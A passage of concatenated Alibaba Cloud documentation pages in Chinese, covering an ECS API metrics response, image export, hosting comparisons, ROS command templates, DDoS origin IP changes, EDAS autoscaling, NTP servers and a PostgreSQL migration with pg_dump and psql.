      159. "EndTime": "2019-01-01T17:00:00Z",
      160. "SsdDataDiskSize": "0",
      161. "StartTime": "2019-01-01T16:00:00Z",
      162. "CloudDataDiskSize": "0",
      163. "Bandwidth": "1048576"
      164. },
      165. {
      166. "CPUs": "1",
      167. "InstanceId": "i-bp1hmito9v058zbua0eb",
      168. "OsDiskSize": "42949672960",
      169. "NetworkIn": "0",
      170. "NetworkOut": "0",
      171. "ImageOS": "Windows Server 2016",
      172. "Disk": "0",
      173. "InstanceTypeName": "ecs.t5-lc2m1.nano",
      174. "DataDiskSize": "0",
      175. "IoOptimized": "true",
      176. "ImageSize": "42949672960",
      177. "Memory": "536870912",
      178. "Region": "cn-hangzhou-dg-a01",
      179. "OsDiskType": "cloud_efficiency",
      180. "TmpDataDiskSize": "0",
      181. "ProviderId": "26842",
      182. "EndTime": "2019-01-01T18:00:00Z",
      183. "SsdDataDiskSize": "0",
      184. "StartTime": "2019-01-01T17:00:00Z",
      185. "CloudDataDiskSize": "0",
      186. "Bandwidth": "1048576"
      187. },
      188. {
      189. "CPUs": "1",
      190. "InstanceId": "i-bp1hmito9v058zbua0eb",
      191. "OsDiskSize": "42949672960",
      192. "NetworkIn": "0",
      193. "NetworkOut": "0",
      194. "ImageOS": "Windows Server 2016",
      195. "Disk": "0",
      196. "InstanceTypeName": "ecs.t5-lc2m1.nano",
      197. "DataDiskSize": "0",
      198. "IoOptimized": "true",
      199. "ImageSize": "42949672960",
      200. "Memory": "536870912",
      201. "Region": "cn-hangzhou-dg-a01",
      202. "OsDiskType": "cloud_efficiency",
      203. "TmpDataDiskSize": "0",
      204. "ProviderId": "26842",
      205. "EndTime": "2019-01-01T19:00:00Z",
      206. "SsdDataDiskSize": "0",
      207. "StartTime": "2019-01-01T18:00:00Z",
      208. "CloudDataDiskSize": "0",
      209. "Bandwidth": "1048576"
      210. },
      211. {
      212. "CPUs": "1",
      213. "InstanceId": "i-bp1hmito9v058zbua0eb",
      214. "OsDiskSize": "42949672960",
      215. "NetworkIn": "0",
      216. "NetworkOut": "0",
      217. "ImageOS": "Windows Server 2016",
      218. "Disk": "0",
      219. "InstanceTypeName": "ecs.t5-lc2m1.nano",
      220. "DataDiskSize": "0",
      221. "IoOptimized": "true",
      222. "ImageSize": "42949672960",
      223. "Memory": "536870912",
      224. "Region": "cn-hangzhou-dg-a01",
      225. "OsDiskType": "cloud_efficiency",
      226. "TmpDataDiskSize": "0",
      227. "ProviderId": "26842",
      228. "EndTime": "2019-01-01T20:00:00Z",
      229. "SsdDataDiskSize": "0",
      230. "StartTime": "2019-01-01T19:00:00Z",
      231. "CloudDataDiskSize": "0",
      232. "Bandwidth": "1048576"
      233. },
      234. {
      235. "CPUs": "1",
      236. "InstanceId": "i-bp1hmito9v058zbua0eb",
      237. "OsDiskSize": "42949672960",
      238. "NetworkIn": "0",
      239. "NetworkOut": "0",
      240. "ImageOS": "Windows Server 2016",
      241. "Disk": "0",
      242. "InstanceTypeName": "ecs.t5-lc2m1.nano",
      243. "DataDiskSize": "0",
      244. "IoOptimized": "true",
      245. "ImageSize": "42949672960",
      246. "Memory": "536870912",
      247. "Region": "cn-hangzhou-dg-a01",
      248. "OsDiskType": "cloud_efficiency",
      249. "TmpDataDiskSize": "0",
      250. "ProviderId": "26842",
      251. "EndTime": "2019-01-01T21:00:00Z",
      252. "SsdDataDiskSize": "0",
      253. "StartTime": "2019-01-01T20:00:00Z",
      254. "CloudDataDiskSize": "0",
      255. "Bandwidth": "1048576"
      256. },
      257. {
      258. "CPUs": "1",
      259. "InstanceId": "i-bp1hmito9v058zbua0eb",
      260. "OsDiskSize": "42949672960",
      261. "NetworkIn": "0",
      262. "NetworkOut": "0",
      263. "ImageOS": "Windows Server 2016",
      264. "Disk": "0",
      265. "InstanceTypeName": "ecs.t5-lc2m1.nano",
      266. "DataDiskSize": "0",
      267. "IoOptimized": "true",
      268. "ImageSize": "42949672960",
      269. "Memory": "536870912",
      270. "Region": "cn-hangzhou-dg-a01",
      271. "OsDiskType": "cloud_efficiency",
      272. "TmpDataDiskSize": "0",
      273. "ProviderId": "26842",
      274. "EndTime": "2019-01-01T22:00:00Z",
      275. "SsdDataDiskSize": "0",
      276. "StartTime": "2019-01-01T21:00:00Z",
      277. "CloudDataDiskSize": "0",
      278. "Bandwidth": "1048576"
      279. },
      280. {
      281. "CPUs": "1",
      282. "InstanceId": "i-bp1hmito9v058zbua0eb",
      283. "OsDiskSize": "42949672960",
      284. "NetworkIn": "0",
      285. "NetworkOut": "0",
      286. "ImageOS": "Windows Server 2016",
      287. "Disk": "0",
      288. "InstanceTypeName": "ecs.t5-lc2m1.nano",
      289. "DataDiskSize": "0",
      290. "IoOptimized": "true",
      291. "ImageSize": "42949672960",
      292. "Memory": "536870912",
      293. "Region": "cn-hangzhou-dg-a01",
      294. "OsDiskType": "cloud_efficiency",
      295. "TmpDataDiskSize": "0",
      296. "ProviderId": "26842",
      297. "EndTime": "2019-01-01T23:00:00Z",
      298. "SsdDataDiskSize": "0",
      299. "StartTime": "2019-01-01T22:00:00Z",
      300. "CloudDataDiskSize": "0",
      301. "Bandwidth": "1048576"
      302. },
      303. {
      304. "CPUs": "1",
      305. "InstanceId": "i-bp1hmito9v058zbua0eb",
      306. "OsDiskSize": "42949672960",
      307. "NetworkIn": "0",
      308. "NetworkOut": "0",
      309. "ImageOS": "Windows Server 2016",
      310. "Disk": "0",
      311. "InstanceTypeName": "ecs.t5-lc2m1.nano",
      312. "DataDiskSize": "0",
      313. "IoOptimized": "true",
      314. "ImageSize": "42949672960",
      315. "Memory": "536870912",
      316. "Region": "cn-hangzhou-dg-a01",
      317. "OsDiskType": "cloud_efficiency",
      318. "TmpDataDiskSize": "0",
      319. "ProviderId": "26842",
      320. "EndTime": "2019-01-02T00:00:00Z",
      321. "SsdDataDiskSize": "0",
      322. "StartTime": "2019-01-01T23:00:00Z",
      323. "CloudDataDiskSize": "0",
      324. "Bandwidth": "1048576"
      325. }
      326. ],
      327. "HostId": "cn",
      328. "Marker": "079:00000000000000002895:r:01_1711245632317223:02_vm:03_26842:04_i-bp1hmito9v058zbua0eb:05_000000000001546696800:"
      329. },
      330. "Message": "Successful!",
      331. "RequestId": "9A1F6898-EFAA-4C16-A38E-AA3A98FBF232",
      332. "Success": true,
      333. "Code": "Success"
      334. }

      ]]> 导出镜像_自定义镜像_镜像_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 导出镜像

      更新时间:2020-06-01 16:23:44

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      创建自定义镜像后,您可以导出镜像到OSS存储空间(OSS Bucket),并下载到本地使用。本文介绍导出自定义镜像的操作步骤及相关注意事项。

      前提条件

      • 自定义镜像所在地域中已有可用的OSS Bucket。

        若尚未创建OSS Bucket,请先创建存储空间

        说明 导出自定义镜像会产生一定的OSS存储和下载的流量费用。计费详情,请参见计量项和计费项

      • 待导出的自定义镜像满足以下限制条件:
        • 不是基于镜像市场镜像创建的自定义镜像。
        • 不能包含Windows Server系列操作系统。
        • 不能包含四块以上数据盘快照,单块数据盘容量最大不能超过500GiB。

      背景信息

      导出自定义镜像的注意事项如下:

      • 导出镜像所需时间取决于自定义镜像文件的大小和当前导出任务的并发数,需要您耐心等待。
      • 导出的自定义镜像包含数据盘快照时,您的OSS Bucket中会出现多个文件。

        文件名带有system的表示系统盘快照,文件名带有data的表示数据盘快照。数据盘快照会有与数据盘对应的标识,即数据盘的挂载点,如xvdb或者xvdc。

      • 使用导出的全镜像创建相同配置的Linux系统时,您需要确认/etc/fstab中记录的文件设备是否与导出的数据盘快照信息互相对应。
      • 如果创建自定义镜像时云盘内无数据,那么导出镜像后解压缩也无数据。

      操作步骤

      1. 登录ECS管理控制台
      2. 在左侧导航栏,单击实例与镜像 > 镜像
      3. 在顶部菜单栏左上角处,选择地域。
      4. 授权ECS服务访问OSS的权限。
        1. 在自定义镜像的操作列中,单击更多 > 导出镜像
        2. 导出镜像对话框里,单击提示信息里的确认地址

          导出镜像

        3. 云资源访问授权对话框,单击同意授权授权ECS服务访问您的OSS资源。
      5. 在左侧导航栏,单击实例与镜像 > 镜像
      6. 自定义镜像列表页签,选择目标镜像,在操作列中,再次单击更多 > 导出镜像
      7. 导出镜像对话框中,配置如下参数:

        • 选择镜像导出的格式,支持RAW、VHD、QCOW2、VDI和VMDK。

          说明 选择镜像导出格式功能正在逐步开放中。

        • 选择一个与自定义镜像所属地域相同的OSS Bucket。
        • 为自定义镜像的Object名称设置一个前辍。例如,您可以将Demo设为前辍,则导出的自定义镜像文件,在OSS Bucket中的名称即为Demo-[系统自动生成的文件名]

      8. 单击确定,开始导出自定义镜像。

        在任务完成前,您都可以通过任务管理,在相应地域下找到导出自定义镜像的任务,取消导出自定义镜像。

      后续步骤

      下载自定义镜像。具体操作步骤,请参见下载自定义镜像文件

      说明 如果您选择RAW作为镜像格式,导出后镜像文件扩展名默认为.raw.tar.gz,解压后扩展名为.raw。如果您的本地计算机为Mac OS X系统,推荐您使用gnu-tar解压工具。

      ]]> 独享云虚拟主机、共享云虚拟主机、云服务器 ECS 的区别?_产品概述_产品简介_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 独享云虚拟主机、共享云虚拟主机、云服务器 ECS 的区别?

      更新时间:2018-03-16 10:57:13

      本页目录

      产品特点

      共享云虚拟主机:共享虚拟主机即一台服务器被划分成多个一定大小的空间,每个空间都给予单独的 FTP 权限和 Web 访问权限,多个用户共同平均使用这台服务器的硬件资源。

      独享云虚拟主机:与共享云虚拟主机相比,最大的不同是资源独享。享有整个服务器的软硬件资源,即每台轻云服务器的 CPU、内存、带宽、硬盘均为独享,且不限流量,具有独立 IP,预装了网站应用环境就和数据库环境,同时具备共享云虚拟主机和云服务器的优势。提供可视化操作的控制面板环境,操作简单,即买即用。

      云服务器:是一种弹性计算服务,支持各种应用软件灵活扩展,需要有专业技术人员来维护。

      注意: 虚拟主机不支持远程登录,包括SSH方式,远程桌面RDP方式等。如果您需要远程桌面权限管理,建议您购买云服务器 ECS 。

      适用用户

      共享云虚拟主机:资源共享,空间较大,固定流量,经济实惠,满足基本建站。

      独享云虚拟主机:独享资源,空间超大,不限流量,更高配置,企业建站首选。

      云服务器 ECS  :有技术实力、懂得服务器配置及维护的用户及开发者。

      主要配置

      主要配置

      虚拟主机

      独享版虚拟主机

      云服务器ECS

      网页空间

      M/G级空间

      G级空间

      独享整块硬盘

      CPU

      共享

      独享

      独享

      内存

      共享

      独享

      独享

      带宽

      共享

      独享

      独享

      流量

      有限制

      无限制

      无限制

      主机管理控制台

      支持

      支持

      不支持

      付费方式

      年付

      月付/年付

      月付/年付

      下一篇:什么是临时域名

      相关文档

      相关产品

      • 云虚拟主机

        阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

      • 云服务器 ECS

        云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

      • 云解析 DNS

        云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      ALIYUN::ECS::Command_ECS_资源类型_资源编排-阿里云 Fri, 02 May 2025 09:39:04 +0800 ALIYUN::ECS::Command

      更新时间:2020-02-25 10:06:55

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      ALIYUN::ECS::Command 类型用于新建云助手命令。

      语法

      {
        "Type": "ALIYUN::ECS::Command",
        "Properties": {
          "Name": String,
          "WorkingDir": String,
          "CommandContent": String,
          "Timeout": Integer,
          "Type": String,
          "Description": String
        }
      }

      属性

      属性名称 类型 必须 允许更新 描述 约束
      Name String 命令名称,支持全字符集。长度不得超过 30 个字符。
      WorkingDir String 您创建的命令在 ECS 实例中运行的目录。
      CommandContent String

      命令 Base64 编码后的内容。

      当您传入请求参数 Type 后,必须同时传入该参数。

      该参数的值必须使用 Base64 编码后传输,且脚本内容的大小在 Base64 编码之后不能超过 16 KB。

      Timeout Integer

      您创建的命令在 ECS 实例中执行时最大的超时时间,单位为秒。

      当因为某种原因无法运行您创建的命令时,会出现超时现象;超时后,会强制终止命令进程,即取消命令的 PID。

      默认值:3600

      Type String

      命令的类型。

      取值范围:
      • RunBatScript:创建一个在 Windows 实例中运行的 Bat 脚本
      • RunPowerShellScript:创建一个在 Windows 实例中运行的 PowerShell 脚本
      • RunShellScript:创建一个在 Linux 实例中运行的 Shell 脚本
      Description String 命令描述,支持全字符集。长度不得超过100个字符。

      返回值

      Fn::GetAtt

      • CommandId:命令 ID。

      示例

      {
        "ROSTemplateFormatVersion": "2015-09-01",
        "Parameters": {
          "WorkingDir": {
            "Type": "String",
            "Description": "The path where command will be executed in the instance."
          },
          "CommandContent": {
            "Type": "String",
            "Description": "The content of command. Content requires base64 encoding. Maximum size support 16KB."
          },
          "Type": {
            "Type": "String",
            "Description": "The type of command."
          },
          "Description": {
            "Type": "String",
            "Description": "The description of command."
          },
          "Timeout": {
            "Type": "Number",
            "Description": "Total timeout when the command is executed in the instance. Input the time unit as second. Default is 3600s."
          },
          "Name": {
            "Type": "String",
            "Description": "The name of command."
          }
        },
        "Resources": {
          "Command": {
            "Type": "ALIYUN::ECS::Command",
            "Properties": {
              "WorkingDir": {
                "Ref": "WorkingDir"
              },
              "CommandContent": {
                "Ref": "CommandContent"
              },
              "Type": {
                "Ref": "Type"
              },
              "Description": {
                "Ref": "Description"
              },
              "Timeout": {
                "Ref": "Timeout"
              },
              "Name": {
                "Ref": "Name"
              }
            }
          }
        },
        "Outputs": {
          "CommandId": {
            "Description": "The id of command created.",
            "Value": {
              "Fn::GetAtt": [
                "Command",
                "CommandId"
              ]
            }
          }
        }
      }

      ]]> 更换源站ECS公网IP_接入DDoS高防_DDoS高防(新BGP&国际)_DDoS防护-阿里云 Fri, 02 May 2025 09:39:04 +0800 更换源站ECS公网IP

      更新时间:2020-05-29 09:36:26

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      若您的源站IP已暴露,建议您更换阿里云ECS云服务器的公网IP,防止黑客绕过DDoS高防直接攻击源站。您可以在DDoS高防管理控制台更换后端ECS的IP,每个账号最多可更换10次。

      背景信息

      更换ECS IP功能仅支持使用经典网络公网IP的ECS更换IP。

      操作步骤

      1. 登录DDoS高防控制台
      2. 在顶部导航栏,选择服务所在地域:
        • 中国内地:DDoS高防(新BGP)服务
        • 非中国内地:DDoS高防(国际)服务
      3. 在左侧导航栏,单击接入管理 > 域名接入
      4. 域名接入页面右上方,单击更换ECS IP

        注意 更换ECS IP会使您的业务暂时中断几分钟,建议您在操作前先备份好数据。

      5. 更换ECS IP需要将ECS停机,若您已将需要更换IP的ECS停机,请直接跳转到步骤6。在更换ECS IP对话框,单击前往ECS,并在ECS管理控制台将需要更换IP的ECS实例停机。
        1. 在实例列表中找到目标ECS实例,单击其实例ID。
        2. 在实例详情页,单击停止
        3. 选择停止方式,并单击确定

          注意 停止ECS实例是敏感操作,稳妥起见,需要您输入手机校验码。

        4. 等待ECS实例状态变成已停止
      6. 返回更换ECS IP对话框,输入ECS实例ID,并单击下一步
      7. 确认当前ECS实例信息准确无误(尤其是ECS IP)后,单击释放IP
      8. 成功释放原IP后,单击下一步,为该ECS实例自动分配新的IP。
      9. ECS IP更换成功后,单击确认,完成操作。

        说明 更换IP成功后,请将新的IP隐藏在DDoS高防后面,不要对外暴露。

      ]]> ECS实例与MongoDB实例地域不同时如何连接_连接实例_用户指南_云数据库 MongoDB-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS实例与MongoDB实例地域不同时如何连接

      更新时间:2020-04-21 14:44:03

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      当ECS实例与MongoDB实例的地域不同时,您可根据本文中的办法快速实现两者之间的连接。

      方法一:将MongoDB实例迁移至ECS实例所属地域

      本方法通过数据传输服务DTS(Data Transmission Service)的数据迁移功能,实现迁移MongoDB实例至ECS实例所属地域的目的,例如将MongoDB实例从华北1迁移至华东1。

      迁移MongoDB至其他地域
      1. 在ECS所属地域创建MongoDB实例,详情请参见创建实例,如果已创建可跳过本步骤。
      2. 将源地域下的MongoDB数据库迁移至目标MongoDB实例,详情请参见迁移MongoDB实例至其他地域
      3. 将ECS实例的IP地址加入目标MongoDB实例的白名单中,详情请参见设置白名单

        说明 关于获取ECS实例IP地址信息,请参见如何查询ECS实例的IP地址

      方法二:将ECS实例迁移至MongoDB实例所属地域

      下述两种方法分别通过自定义镜像和迁云工具,实现迁移ECS实例数据至MongoDB实例所属地域的目的,例如将ECS实例从华北1迁移至华东1。

      迁移ECS地域

      ]]> ECS自建库录入_实例列表_实例管理_数据管理 DMS-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS自建库录入

      更新时间:2020-06-18 10:29:00

      本页目录

      需求背景

      • 目前云上除了云数据库外,也有用户通过ECS自己搭建的各种数据库。本文主要描述ECS自建库如何快速录入进行管理。

      关键步骤

      基本录入步骤需要提供信息可参见:实例管理

      1. 在填写完基本信息点击【测试连接】,会遇到如下错误。

        测试连接

      2. 此时需要前往ECS控制台进行白名单的添加,注意“授权对象”为报错弹层上的DMS服务器白名单地址(含网段)。

        添加

      3. 按照步骤2完成入口方向、出口方向,双向配置【注:仅单向配置会无法使用】。

        • 入口方向入口

        • 出口方向出口

      4. 完成出口、入口配置后,再测试连接即可访问进入保存环节【注:ECS白名单策略添加后可能存在轻微的延迟,建议稍后1-3分钟再到DMS企业版内重试连接】。

      ]]> 对ECS集群中的应用进行弹性伸缩_应用管理_ECS集群用户指南_企业级分布式应用服务 EDAS-阿里云 Fri, 02 May 2025 09:39:04 +0800 对ECS集群中的应用进行弹性伸缩

      更新时间:2020-04-08 14:19:41

      本页目录

      在分布式应用管理中,弹性伸缩是很重要的一个运维能力。弹性伸缩能够感知应用内各个实例的状态,并根据状态动态实现应用扩容、缩容。在保证服务质量的同时,提升应用的可用率。

      弹性伸缩简介

      互联网、游戏类等应用在促销活动期间容易出现突发性流量洪流,SLA 和资源成本不易平衡,极易造成系统响应延迟、系统瘫痪等问题。EDAS 继承阿里巴巴应对双 11 的流量洪流技术,提供秒级自动弹性功能,保证 SLA 的同时也节省机器保有成本。多适用于互联网、游戏以及社交平台等行业。

      弹性伸缩适用于在ECS集群中创建的应用。在单实例环境中,弹性伸缩可确保始终有一个正在运行的实例。在流量变化很快的环境中,通过弹性伸缩配置要运行的实例数范围,EDAS 将根据设置的负载规则按需添加或删除实例。

      弹性伸缩功能根据应用实例的以下指标来判断并实现自动扩容或者缩容:

      • CPU:CPU 使用率,以百分比表示。
      • RT:对请求作出的响应时间,单位为 ms 。
      • Load:应用实例的负载大小,以正整数表示。

      自动弹性伸缩

      弹性伸缩包括自动扩容和自动缩容,可以分别配置扩容规则或者缩容规则。下面以配置扩容规则为例来展示操作步骤。

      说明

      • 同时配置扩容和缩容规则的时候,缩容规则的指标不能大于扩容规则的指标,否则,在单击保存的时候会弹出错误提示。
      • 若使用了弹性资源,缩容时会优先释放弹性资源提供的实例。

      1. 登录 EDAS 控制台,在页面左上角选择所需地域。
      2. 在左侧导航栏中选择应用管理 > 应用列表 ,在应用列表页面单击具体的应用名称。
      3. 在应用详情页面左侧的导航栏中,单击弹性伸缩
      4. 扩容规则区域右上角打开开关启用扩容规则。
      5. 配置扩容规则参数,然后在弹性伸缩页面右下角单击保存
        1. 配置触发指标:设置 CPU、RT 和 Load 指标的阈值。当超过阈值时,触发扩容。
        2. 选择触发条件

          • 任一指标:表示设定的指标中任意一个指标被触发都会引起扩容。
          • 所有指标:表示设定所有指标必须全部被触发才能引发自动扩容操作。

        3. 持续时间超过:指标持续被触发的时间,单位为分钟。表示在持续时间内,指标每分钟的平均值持续达到设置的阈值,就会引起扩容操作,您可根据集群服务能能力的灵敏度酌情配置。
        4. 配置应用来源

          • 已有资源:自动扩容时会从当前应用所在集群选择指定数量的闲置 ECS 实例扩容到该应用。

            说明 当所在集群中现有的 ECS 实例数量不够,无法满足扩容需求时,EDAS 会根据已有实例数量来进行扩容。

          • 弹性资源:基于现有实例规格或实例启动模版来代购实例,然后自动将代购的实例导入所在集群并用于应用扩容。ECS集群中代购实例用于弹性伸缩
            参数 描述
            创建方式
            • 基于现有实例规格购买:从所在集群内已有的实例规格中选择一个作为模板来代购实例。
            • 基于实例启动模版购买:会基于您在 ECS 控制台创建的实例启动模版来代购实例。
            模板主机/启动模板 选择一个现有实例规格或者选择一个启动模板作为模板来代购实例。
            登录密钥 当选择基于现有实例规格购买时,需要选择登录密钥。
            服务协议 勾选《云服务器 ECS 服务条款》 | 《镜像商品使用条款》
            高级选项(可选)
            • 基于现有实例规格购买:输入登录密码后,新创建的 ECS 实例将以此密钥对作为 SSH 登录认证方式。
            • 基于实例启动模版购买网络类型为您需要扩容的当前应用所在的网络,不可更改。如果当前网络为 VPC 网络,需要指定新创建实例连接的虚拟交换机;若指定多个虚拟交换机,EDAS 将通过多可用区扩缩容策略来进行自动分配。
          • 已有资源优先:自动扩容时优先使用集群内空闲实例,如果集群内的空闲实例不足,则使用弹性伸缩功能为您代购实例。

        5. 设置每次扩容的实例数:每次触发扩容操作后,自动增加的实例个数。
        6. 设置分组最大实例数:当集群内服务器数量达到配置的最大实例数后,不再继续扩容,请根据您的资源限额配置。

      查看弹性伸缩结果

      设置了弹性伸缩规则后,如果发生了自动扩容或者自动缩容操作后,您可以通过以下方式来查看伸缩结果:

      • 在应用的基本信息页面中查看实例数量是否增加或者减少。
      • 在应用详情页面的左侧导航栏单击变更记录。对于变更类型为应用扩容应用缩容,且来源是auto_scale的变更记录,在操作列单击查看进入变更详情页面查看变更明细。弹性伸缩变更记录

      ]]> 在自定义环境中代购的 ECS 实例上部署微服务应用_快速创建 Demo 微服务应用_快速入门_企业级分布式应用服务 EDAS-阿里云 Fri, 02 May 2025 09:39:04 +0800 在自定义环境中代购的 ECS 实例上部署微服务应用

      更新时间:2019-09-18 19:36:26

      本页目录

      为方便您快速开始使用 EDAS,EDAS 为您准备了基于不同应用框架(Spring Cloud、Dubbo 和 HSF)的微服务应用 Demo,您可以将应用 Demo 快速部署到 EDAS 中。本文介绍如何在自定义环境中(指定 VPC 和集群)中代购 ECS 实例快速部署 Spring Cloud 微服务应用 Demo。

      前提条件

      在默认环境中代购的 ECS 实例中部署应用前,请先完成以下工作:

      操作步骤

      微服务应用 Demo 中都会包含一个服务提供者和服务消费者。下面以服务提供者为例介绍如何创建,在创建完服务提供者之后,请按照操作步骤再创建服务消费者。

      创建服务提供者的步骤如下:

      1. 登录 EDAS 控制台。

      2. 概览页面应用数上方单击创建新应用

        创建新应用

      3. 创建应用页面的应用基本信息页签中选择集群类型应用运行环境,输入应用名称应用描述(可选),然后单击下一步

        应用基本信息-Spring Cloud

        • 集群类型:选择 ECS 集群
        • 应用运行环境:针对不同应用框架,EDAS 提供了不同的应用运行环境,您可以根据您的应用框架选择,本示例中选择 Java

          Java 环境:选择 Open JDK 8

        • 应用名称:输入应用名称,如 app-demo-springCloud-provider
      4. 应用配置页签中选择部署包来源Demo 类型实例,然后单击下一步

        应用配置-SC-自定义环境

        • 部署包来源:选择官方 Demo

        • Demo 类型:在下拉列表中选择具体的应用 Demo,如 Spring Cloud 服务端应用

        • 实例:选择自定义

          选择自定义后,界面会根据您的账号当前的资源情况有所不同。

          • 网络和环境

            • 如果您当前没有 VPC、命名空间和集群,EDAS 会为您创建默认环境。

            • 如果您已经创建过 VPC、命名空间和集群等资源,会显示对应资源的选择列表。您可以在下拉列表中选择对应资源。

          • 实例

            • 选择实例规格:选择实例规格,如超小规格实例
            • 购买数量:选择要购买的实例数量,如 1
            • 服务协议:勾选《云服务器 ECS 服务条款》 | 《镜像商品使用条款》
      5. 应用高级配置页签中输入版本应用健康检查(可选),然后单击创建应用

        • 版本:EDAS 配置使用当前时间戳作为版本,格式如 yyyymmdd:hhmmss。您也可以设置其它版本标识。
        • 应用健康检查:设置健康检查的 URL,用来检测应用是否健康运行。
      6. 应用创建完成页签确认应用基本信息、应用配置和应用高级设置,确认无误后,单击确定创建应用

        应用创建完成

      结果验证

      在服务端应用和客户端应用创建后,EDAS 将为该应用自动创建一条变更记录,您可以通过变更详情查看该应用创建的进度和状态。应用创建成功后,变更记录显示执行成功

      1. 应用创建成功后,返回该应用的基本信息页面,查看应用的相关信息,应该和创建时保持一致。

        结果验证-基本信息

      2. 单击实例部署信息查看该应用的状态,运行状态应为运行正常,变更状态(即第一次创建、部署)应为成功。同时,显示代购的 ECS 实例的 ID、IP、规格及 VPC 信息。

        结果验证-实例部署信息

      1. 验证应用 Demo 的调用是否成功。

        说明:验证调用需要按结果验证的步骤 1 和 2 确保服务端应用和客户端应用都部署成功。

        1. 进入客户端应用的详情页,在左侧导航栏单击基本信息,然后在实例部署信息页面单击 ECS 的 IP 地址。

        2. SC 客户端 页面的 Echo this String 文本框中输入任意字符串,如 test,然后单击 点击此处

          结果验证-调用

        3. SC 客户端 页面下方可以看到调用结果,返回了 test 字符串,说明调用成功。

          结果验证-调用成功

      ]]> 阿里云NTP服务器_同步服务器本地时间_管理实例_实例_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 阿里云NTP服务器

      更新时间:2020-04-22 08:38:31

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      阿里云提供了内网和公网NTP服务器,用于同步各网络中ECS实例的本地时间。

      内网和公网NTP服务器

      NTP是用于同步网络中计算机时间的协议,全称为网络时间协议(Network Time Protocol)。

      时区和时间一致性对于云服务器ECS非常重要,有时会直接影响到任务执行的结果。例如,您在更新数据库或者分析日志时,时间顺序对结果有很大影响。为避免在ECS实例上运行业务时出现逻辑混乱和网络请求错误等问题,您需要统一相关ECS实例的时区设置。另外,您还可以通过NTP服务同步各网络中ECS实例的本地时间。

      云服务器ECS为您提供了高精度的时间参考NTP服务器,其中ntp.cloud.aliyuncs.com服务器提供分布式的一级时钟源,适用于金融、通讯、科研和天文等以时间精度核心的生产行业。阿里云NTP服务也用于同步ECS实例和其它云产品的本地时间。各网络下的阿里云NTP服务器地址如下表所示。

      经典网络内网 专有网络VPC内网 公网
      - ntp.cloud.aliyuncs.com ntp.aliyun.com
      ntp1.cloud.aliyuncs.com ntp7.cloud.aliyuncs.com ntp1.aliyun.com
      ntp2.cloud.aliyuncs.com ntp8.cloud.aliyuncs.com ntp2.aliyun.com
      ntp3.cloud.aliyuncs.com ntp9.cloud.aliyuncs.com ntp3.aliyun.com
      ntp4.cloud.aliyuncs.com ntp10.cloud.aliyuncs.com ntp4.aliyun.com
      ntp5.cloud.aliyuncs.com ntp11.cloud.aliyuncs.com ntp5.aliyun.com
      ntp6.cloud.aliyuncs.com ntp12.cloud.aliyuncs.com ntp6.aliyun.com
      - - ntp7.aliyun.com

      其他互联网基础服务

      阿里云还提供了其他的互联网基础服务,如下表所示。

      公共服务 描述
      公共DNS:223.5.5.5 / 223.6.6.6 域名:http://www.alidns.com
      公共镜像站:https://developer.aliyun.com/mirror 镜像同步频率:每天凌晨2:00−4:00。覆盖了大多数开源软件及Linux发行版。

      相关操作

      ]]> ECS迁移到时空_数据迁移_用户指南_时空数据库_时序时空数据库 TSDB-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS迁移到时空

      更新时间:2019-05-06 19:09:38

      本页目录

      前提条件

      • ECS上自建基于PostgreSQL的PostGIS数据库或Timescale数据库
      • 已完成时空数据库的准备,包括数据库,账号,密码创建等。参见: 账号管理

      准备数据

      1. 登录云服务器ECS
      2. 执行pg_dump命令,备份数据

        1. pg_dump -U username -h hostname -p port databasename -f filename
        2. # 例如:使用postgres用户,备份gaia数据库,备份文件是gaia.sql
        3. pg_dump -U postgres -h localhost -p 5432 gaia -f gaia.sql

        参数说明如下:

        • username:ECS数据库用户名
        • hostname:ECS数据库主机名,如果是在本地ECS数据库主机登录,可以使用localhost
        • port:ECS数据库端口号
        • databasename:要备份的数据库名
        • filename:要生成的备份文件名称

      迁移到时空数据库

      1. 通过PostgreSQL客户端,执行如下命令将数据导入到时空数据库中

        1. psql -U username -h ip -d databasename -p port -f filename
        2. # 一个例子:其中47.110.145.173:3242是时空数据库地址
        3. psql -U postgres -h 47.110.145.173 -d postgres -p 3242 -f gaia.sql

        参数说明如下:

        • username:时空数据库用户名
        • ip:时空数据库地址
        • port:时空数据库端口号
        • databasename:时空数据库名
        • filename:ECS上备份的数据文件名

      ]]> 限制不同交换机下的ECS间的互通_最佳实践_网络ACL_专有网络 VPC-阿里云 Fri, 02 May 2025 09:39:04 +0800 限制不同交换机下的ECS间的互通

      更新时间:2020-04-23 17:30:06

      本页目录

      本文为您介绍如何通过网络ACL功能限制不同交换机下的ECS的互通关系。

      前提条件

      操作前,请确保满足以下条件。
      • 已经注册了阿里云账号。如还未注册,请先完成账号注册。详细信息,请参见账号注册
      • 已经创建了VPC和交换机。详细信息,请参见创建专有网络
